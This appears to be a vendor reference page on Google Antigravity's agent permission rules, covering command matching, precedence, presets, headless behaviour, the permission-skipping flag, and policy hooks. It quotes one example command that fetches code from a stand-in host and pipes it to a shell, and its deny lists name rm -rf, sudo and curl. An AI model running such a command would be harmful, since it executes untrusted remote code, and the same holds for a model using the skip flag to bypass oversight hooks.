# Antigravity (agy) Permissions Reference — allow, ask, deny, the Presets, and What a Hook Adds

Google Antigravity's permission rules end to end: the action(target) syntax for all seven actions, how command prefix and regex: matching really work, Deny > Ask > Allow precedence, the three presets, headless soft-deny, the escape hatch, and what a PreToolUse hook can do that a rule can't.

<div style="margin:8px 0 28px;padding:20px 22px;border:1px solid var(--line-2);border-radius:12px;background:var(--color-accent-light,#f0effe);">
  <p style="margin:0 0 12px;font-size:15px;line-height:1.6;color:var(--acp-text);"><strong>Just want the answer?</strong> Antigravity permissions are three lists — <code>allow</code>, <code>ask</code>, <code>deny</code> — of <code>action(target)</code> rules. Deny beats ask beats allow. Files in the workspace are allowed by default; commands outside the sandbox, MCP tools, and URLs ask. A working <code>permissions</code> block, in the shape Google's own examples use:</p>
  <pre data-track="AntigravityPermissions: Hero Config Copy" style="margin:0 0 12px;background:var(--color-surface,#faf9ff);border:1px solid var(--line-2);border-radius:8px;padding:12px 14px;overflow-x:auto;"><code>{
  "permissions": {
    "allow": ["command(git)", "command(regex:npm run (build|lint|test))", "write_file(src/)", "read_url(google.com)", "mcp(linter/*)"],
    "ask":   ["command(*)", "execute_url(aws.amazon.com)", "mcp(sql/execute_mutation)"],
    "deny":  ["command(rm -rf)", "command(sudo)", "write_file(.git/)"]
  }
}</code></pre>
  <p style="margin:0;font-size:13px;color:var(--acp-text-dim);"><a href="/controls/antigravity" data-track="AntigravityPermissions: Controls Page" style="font-weight:600;">Antigravity's full control model &rarr;</a> &nbsp;&middot;&nbsp; <a href="/blog/antigravity-hooks-reference" data-track="AntigravityPermissions: Hooks Reference">The hooks reference &rarr;</a> &nbsp;&middot;&nbsp; <a href="/integrations/antigravity" data-track="AntigravityPermissions: Setup Guide">Put policy on the hook in one command &rarr;</a></p>
</div>

*Read from [Google's Antigravity permissions documentation](https://antigravity.google/docs/permissions/) on September 16, 2026. Where this page says "verified live," the check was done against the shipped `agy` 1.1.21 binary and is written up on [the control-model page](/controls/antigravity). Anything Google's docs don't state and we haven't verified is left out.*

Antigravity — Google's agent-first IDE, the `agy` CLI, and the editor extensions — puts one permission engine under every surface. It's a good one: a single `action(target)` syntax that covers files, shell commands, URLs, browser actuation, and MCP tools, with strict precedence and defaults that mostly do the right thing. It also has real edges, and the edges are where agents get away with things. This is the reference for the rule language, the presets, the matching rules that decide whether `command(git)` covers `git log $(whoami)` (it doesn't), and the two things a rule can't do that a hook can.

## Where the rules live

Two ways in, one engine:

| Surface | Where |
|---|---|
| IDE | **Settings → General → Permission Settings** sets the preset; **Settings → Projects** overrides it per project. New projects start on **Inherit General**. Permission requests approved during a session can be added to the project's rules from the same place. |
| `agy` CLI | The CLI's settings file, `~/.gemini/antigravity-cli/settings.json`, under a `permissions` object with `allow`, `ask`, and `deny` arrays. |

One platform note before anything else, because it changes which of the sections below apply to you: **the engine described here runs on macOS and Linux.** Google's documentation says Windows still uses the prior permission system, to be updated in a future release. The Windows-specific differences are called out where they exist.

## The rule shape: `action(target)`

Every sensitive operation the agent performs is a *permission resource* written as `action(target)`. Seven actions cover the surface:

| Action | Syntax | What it matches |
|---|---|---|
| `read_file` | `read_file(/abs/path)`, `read_file(relative/dir)`, `read_file(*)` | Absolute or workspace-relative paths; a directory covers everything under it |
| `write_file` | `write_file(/abs/path)`, `write_file(src/)`, `write_file(*)` | Same matching as `read_file`; an allow here also grants read on the same path |
| `read_url` | `read_url(domain)`, `read_url(*)` | Hostnames plus subdomains — `google.com` covers `mail.google.com`; path segments are ignored |
| `execute_url` | `execute_url(domain)`, `execute_url(*)` | Browser actuation — clicking, typing, interactive workflows in a page |
| `command` | `command(prefix)`, `command(regex:pattern)`, `command(*)` | Terminal commands, inside and outside the sandbox — see matching below |
| `mcp` | `mcp(server/tool)`, `mcp(server/*)`, `mcp(*)` | One tool, every tool on a server, or every MCP tool, local and remote alike |
| `unsandboxed` | `unsandboxed(prefix)`, `unsandboxed(regex:pattern)`, `unsandboxed(*)` | **Windows only** on the current engine — runs a matching command outside container isolation while sandboxing is on |

`*` as the target matches every target in that action's namespace, uniformly: `read_file(*)`, `command(*)`, `mcp(*)`.

Rules are portable across operating systems. On Windows, Antigravity strips drive letters (`C:`) and converts backslashes to forward slashes before evaluating a path rule, so `write_file(src/)` means the same thing everywhere.

## How `command()` matching actually works

This is the section to read twice. Most permission surprises on Antigravity come from here.

**Default: exact token prefix.** `command(git)` matches any command whose leading tokens are `git` — `git status`, `git log --oneline`. `command(npm run build)` matches `npm run build --watch` and not `npm run test`.

**`regex:` switches to regular expressions.** `command(regex:npm run (build|lint|test))` — and note how the anchoring works: **each whitespace-separated token is anchored as `^(?:pattern)$`**, so the pattern is matched token by token, not against the whole line as one string.

**Prefix matching survives ordinary composition.** Pipelines, `&&`, `||`, `;` chains, quoted literals, plain `$VAR` arguments, simple redirects, and wrappers like `timeout`, `nohup`, `nice`, and `env` all still prefix-match, with the wrapped inner command evaluated on its own. With `command(git)` allowed, `git status && git log` runs without a prompt.

**Prefix matching is disabled entirely when the command carries anything that could change what runs.** Google's list: command substitution (`$(...)`, backticks, `<(...)`), arithmetic `$((...))`, brace expansion, non-literal command names, network or file-descriptor redirections, and flags that spawn subcommands — `git -c core.pager=<cmd>`, `tar --to-command`. Commands the parser can't parse count too, and on Windows so does PowerShell or CMD syntax that can't be cleanly word-split. In every one of those cases, a rule has to match the whole line *character-for-character*, or the command falls back to **Ask**. Google's own illustration: with `command(git)` allowed, `git log $(whoami)` prompts.

That last rule is the right design, and it's worth understanding why. A prefix allow on `git` that also covered `git log $(curl evil.example/x | sh)` would be a prefix allow on everything. Antigravity chooses to prompt rather than guess, which means a `command(*)` in your ask list is not redundant with the default — it's the same posture, made explicit and made portable across presets.

## Precedence: Deny > Ask > Allow

Conflicting rules are resolved strictly in that order. `command(*)` in Ask and `command(git)` in Allow means every command prompts, git included — the broader Ask outranks the narrower Allow. There's no specificity tiebreak; the list a rule sits in decides.

Explicit rules also beat the preset's defaults. Google's example: an Ask rule on `command(rm)` prompts even where the Default preset's sandbox would otherwise have run the command silently.

Two implication rules, and only two: allowing `write_file` on a path automatically grants `read_file` there, and denying `read_file` on a path immediately blocks `write_file` there.

## The three presets

Rules layer on top of a preset. On macOS and Linux there are three:

| Preset | Sandbox | Terminal | File access | MCP & web |
|---|---|---|---|---|
| **Default** | On | Allowed inside the sandbox; ask to run outside it | Workspace plus temp directories | Ask |
| **Request Review** | Off | Always ask | Workspace only | Ask |
| **Turbo** | Off | Allowed, unrestricted | Full filesystem | Allowed |

Under **Default**, sandboxed commands are confined to the workspace and temp directories with **no network access**. A command that needs connectivity or host resources triggers a request to run outside the sandbox, which prompts unless a `command(...)` allow rule covers it. Grants feed the sandbox directly: `read_file` paths become its read-only filesystem allowlist, `write_file` paths the read-write allowlist, and `read_url` domains its outbound network policy (on Windows, the network list is called `AllowedDomains`).

`read_url` therefore spans three things at once: the agent's `read_url_content` fetch tool, page loads in Chrome sessions driven by the Browser Subagent (actuation is split off to `execute_url`), and the sandbox's outbound allowlist for tools like `curl` and `npm`. One rule, three enforcement points.

**Defaults when nothing is configured**, macOS/Linux: commands run silently inside the sandbox and need approval outside it; workspace file reads and writes proceed without prompting, files elsewhere ask; `read_url`, `execute_url`, and MCP calls all ask. On Windows, unconfigured `command` and `unsandboxed` both default to Ask.

## Widening a grant at the prompt

When an Ask prompt appears as an interactive card in the editor, you can edit the target before approving — Google's example broadens `/project/file.txt` up to `/project`. Antigravity checks the edit still covers the operation, then applies the wider grant for the rest of the turn. **This is explicitly not supported for terminal commands.** A shell prompt is answered as-is.

## Two worked rule sets

Both are composed only from syntax Google documents. Adjust the targets; keep the shape.

**A tight profile for unattended runs.** Everything not listed asks — and in headless mode an unanswerable ask is soft-denied, so this profile is deny-by-default in practice:

```json
{
  "permissions": {
    "allow": [
      "command(git status)", "command(git diff)", "command(git log)",
      "command(regex:npm run (build|lint|test))",
      "write_file(src/)", "write_file(test/)",
      "read_url(registry.npmjs.org)"
    ],
    "ask": ["command(*)", "mcp(*)", "execute_url(*)"],
    "deny": [
      "command(rm -rf)", "command(sudo)", "command(regex:curl .*)",
      "write_file(.git/)", "write_file(/home/user/.ssh)"
    ]
  }
}
```

Note what `command(regex:curl .*)` in `deny` does that `command(curl)` wouldn't: token anchoring means `curl` followed by any arguments is denied, including spellings the prefix matcher would refuse to evaluate and would otherwise send to Ask.

**An everyday profile for an attended session.** Wider allows, a short deny list of things you never want to answer a prompt about:

```json
{
  "permissions": {
    "allow": [
      "command(git)", "command(npm)", "command(node)",
      "write_file(src/)", "read_file(/var/log/app)",
      "read_url(google.com)", "mcp(linter/*)"
    ],
    "ask": ["execute_url(aws.amazon.com)", "mcp(sql/execute_mutation)"],
    "deny": ["command(rm -rf)", "command(sudo)", "write_file(.git/)"]
  }
}
```

`command(git)` here covers `git push`, so if you want a prompt on pushes specifically, that rule needs to be narrower — `command(git status)`, `command(git diff)`, and so on — because there's no way to carve an exception out of a broader allow from the ask list without also catching everything else in it.

## Headless: an ask nobody can answer

In print mode (`-p`) there is no one to prompt. Antigravity soft-denies the unanswerable ask: the run continues, exits 0, and a notice on stderr names the tool and the allow rule you would have needed. That's the correct resolution — a deny, not a silent approve and not a hang — and it's why the "tight profile" above is genuinely restrictive unattended even though its ask list is broad. [The control-model page](/controls/antigravity) covers the headless posture in full.

## The escape hatch

`--dangerously-skip-permissions` auto-approves every permission request. Verified live on `agy` 1.1.21, it does one more thing: **`PreToolUse` hooks are not invoked at all under the flag.** Not "hooks fire but their deny is ignored" — the hook layer is skipped. So the flag doesn't just override your three lists; it removes the only layer that could have watched them being overridden. If a policy hook is part of how you control Antigravity, the flag is the line it can't cross, and scoped `permissions.allow` rules — not the flag — are the way to unblock a headless run.

## What a hook adds that a rule can't

Permission rules match static resources against a list. A `PreToolUse` hook runs **before** the permission layer (verified live), receives the full `toolCall` — the native tool name and its actual arguments — and answers with a decision from a vocabulary that reaches past what a rule can express:

| Hook decision | What it does |
|---|---|
| `allow` / `deny` | Decide this call, with the arguments in hand, and a `reason` attached |
| `ask` | Prompt the human — but a cached "Always Allow" from earlier in the session can satisfy it |
| `force_ask` | Prompt the human **unconditionally**. No cached grant pre-empts it |
| `deny_unless_prior_grant` | The fifth accepted value; the ACP hook doesn't use it, and Google's hook docs are the reference for exactly which grant it checks |
| `permissionOverrides` | An optional array that grants `action(target)` resources — the same syntax as the lists above — for the rest of the turn |

Three consequences for anyone using rules to control an agent:

1. **A hook sees what a prefix matcher refuses to.** `git log $(whoami)` is a string the hook receives in full; it can decide on it instead of falling back to Ask.
2. **`force_ask` is the ask that stays an ask.** A rule in the `ask` list can be answered once with Always Allow and then never seen again that session. `force_ask` can't. For a policy hold that has to reach a person every time, it's the only primitive that guarantees it.
3. **A rule leaves no record.** Antigravity's transcripts record what happened; nothing records which rule matched, what was asked, or who approved. A hook is the place that record can be made.

That is precisely the surface [the ACP hook for Antigravity](/integrations/antigravity) stands on. One registration in `~/.gemini/config/hooks.json`; every tool call is checked against workspace policy before the permission layer sees it; an ACP `deny` returns `{"decision":"deny","reason":"[ACP] Denied by policy: …"}` and the call never runs; an ACP `ask` returns `force_ask`, so the approval card appears no matter what's cached; and every decision lands in an audit row with both the canonical and the native tool name. The two systems compose rather than compete: your three lists still apply to whatever the hook allows through. [The hooks reference](/blog/antigravity-hooks-reference) has the full contract, and [the control-model page](/controls/antigravity) walks a live-verified deny end to end.

## Where the model ends

- **No decision ledger.** Transcripts are a full exchange record, not a record of what was decided and why. The enterprise tier's central audit toggle exists because that record has buyers.
- **Prefix matching is deliberately conservative**, which means a productive allow list on a shell-heavy workflow tends to grow, and every growth is a wider grant. The `regex:` form gives you precision at the cost of writing anchored patterns per token.
- **Terminal prompts can't be scope-edited.** File and URL grants can be widened at the card; shell grants are answered as written.
- **`--dangerously-skip-permissions` is total.** Rules, prompts, and hooks all go with it.
- **Windows is on the previous engine** for now. If your fleet is mixed, so is your permission model.

## Frequently asked questions



## Where to read more

- [Antigravity's full control model, explained](/controls/antigravity) &mdash; the permissions engine in context: sandbox, headless posture, hooks, the escape hatch, and the enterprise plane
- [Antigravity hooks reference](/blog/antigravity-hooks-reference) &mdash; the five events, the stdin payload, the decision contract, and fail-closed
- [Install ACP for Antigravity](/integrations/antigravity) &mdash; one command, one hook, every tool call checked against policy before it runs
- [Google's Antigravity permissions documentation](https://antigravity.google/docs/permissions/) &mdash; the upstream source for the rule language and presets
- [Claude Code permissions vs Codex approvals](/blog/claude-code-vs-codex-permission-models) &mdash; how two other harnesses answer the same questions
